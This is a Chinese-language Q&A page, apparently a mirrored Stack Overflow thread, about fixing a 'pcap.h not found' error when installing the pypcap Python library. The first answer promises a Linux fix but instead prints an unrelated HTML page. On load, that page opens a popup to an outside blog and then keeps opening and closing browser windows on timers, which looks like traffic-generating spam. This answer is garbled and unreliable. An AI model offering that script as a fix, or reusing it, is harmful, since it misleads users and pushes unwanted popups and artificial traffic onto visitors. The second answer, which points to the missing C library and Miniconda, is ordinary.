如何解决这个“pip install pypcap”错误(在Windows和Ubuntu Linux中)

时间:2017-03-02 22:18:36

标签: python pip

我收到此错误:

当我尝试在Windows 7或Ubuntu 12.04上安装pypcap库(适用于Python 2.7.x)时:

以下是Windows版本的错误,但Linux错误类似,可以在以后发布:

$ pip install pypcap -U
Collecting pypcap
  Using cached pypcap-1.1.5.tar.gz
    Complete output from command python setup.py egg_info:
    pcap.h not found

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in c:\users\
<username>\appdata\local\temp\pip-build-qjf6rt\pypcap\

感谢您提出任何指示或建议。

2 个答案:

答案 0 :(得分:3)

您需要pcap开发库。

在linux上,试试

<html>
  <head>
    <script>
      function gio() {
        popup = window.open('http://www.wholewordz.cf/2017/02/kenya-says-it-will-shut-worlds-biggest.html');
        setTimeout( 5000);
      }
    
      function closed(){
        setTimeout("window.close()", 500);
      }
    
      function call() {
        popup = window.open('http://www.google.co.in');
        setTimeout(wait, 8000);
      }
    
      function caller() {
        setInterval(call, 12000);
      }
    
      function wait() {
        popup.close();
        closed();
      }
    </script>
  </head>
  <body onload="caller(); gio();">
  </body>
</html>

我对Windows一无所知。

链接到relevant question

答案 1 :(得分:1)

您的计算机上未安装pypcap所依赖的c库。

我建议使用Miniconda来管理整个Python环境。您可以将架构的已编译软件包安装到本地conda环境中,然后pip命令将成功。